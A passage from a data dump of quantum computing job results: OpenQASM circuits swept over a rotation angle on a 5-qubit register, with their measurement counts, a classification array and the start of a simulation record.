q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1291', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 803, '0x1': 1516, '0x0': 3225, '0x2': 2648}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.30000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1293', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 896, '0x1': 1456, '0x0': 3164, '0x2': 2676}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.40000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1295', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 869, '0x1': 1408, '0x0': 3303, '0x2': 2612}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.50000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1297', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 799, '0x1': 1406, '0x0': 3323, '0x2': 2664}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.60000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1299', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 894, '0x1': 1439, '0x0': 3190, '0x2': 2669}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.70000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1301', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 785, '0x1': 1434, '0x0': 3309, '0x2': 2664}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.80000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1303', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 856, '0x1': 1313, '0x0': 3355, '0x2': 2668}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.90000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1305', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 848, '0x1': 1415, '0x0': 3210, '0x2': 2719}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(6.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1307', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 844, '0x1': 1373, '0x0': 3396, '0x2': 2579}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(6.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1309', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 885, '0x1': 1343, '0x0': 3351, '0x2': 2613}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(6.20000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1311', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 919, '0x1': 1347, '0x0': 3365, '0x2': 2561}}, 'success': True, 'shots': 8192}], 'classification': [0.0654296875, 0.04150390625, 0.0595703125, 0.070068359375, 0.060791015625, 0.073974609375, 0.072998046875, 0.09033203125, 0.088623046875, 0.087890625, 0.088623046875, 0.097412109375, 0.112548828125, 0.101318359375, 0.132080078125, 0.09326171875, 0.125732421875, 0.089599609375, 0.105224609375, 0.119384765625, 0.074951171875, 0.119384765625, 0.11474609375, 0.092529296875, 0.109375, 0.094970703125, 0.090087890625, 0.087890625, 0.068603515625, 0.051513671875, 0.07080078125, 0.035400390625, 0.020263671875, 0.041748046875, 0.02978515625, 0.020751953125, 0.01904296875, 0.024658203125, 0.001220703125, -0.002685546875, -0.005126953125, -0.00927734375, -0.014892578125, -0.014892578125, -0.03125, -0.01513671875, -0.020263671875, -0.024658203125, -0.04150390625, -0.026123046875, -0.02001953125, 0.01318359375, -0.0166015625, -0.0087890625, 0.0185546875, 0.00634765625, -0.0029296875, -0.00048828125, 0.028076171875, -0.00927734375, 0.03515625, 0.0341796875, 0.0458984375], 'noise_model': None, 'parameters': {}, 'external_id': 'job_20190324T100329Z'}, 'simulation': {'qobj': {'qobj_id': '34b05c0a-368b-44aa-bdab-e6b7c82a3f8c', 'config': {'shots': 8192, 'memory_slots': 2, 'max_credits': 315, 'memory': False, 'n_qubits': 5}, 'experiments': [{'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [0, -1.5707963267948966, 1.5707963267948966], 'texparams': ['0.0', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1187', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier 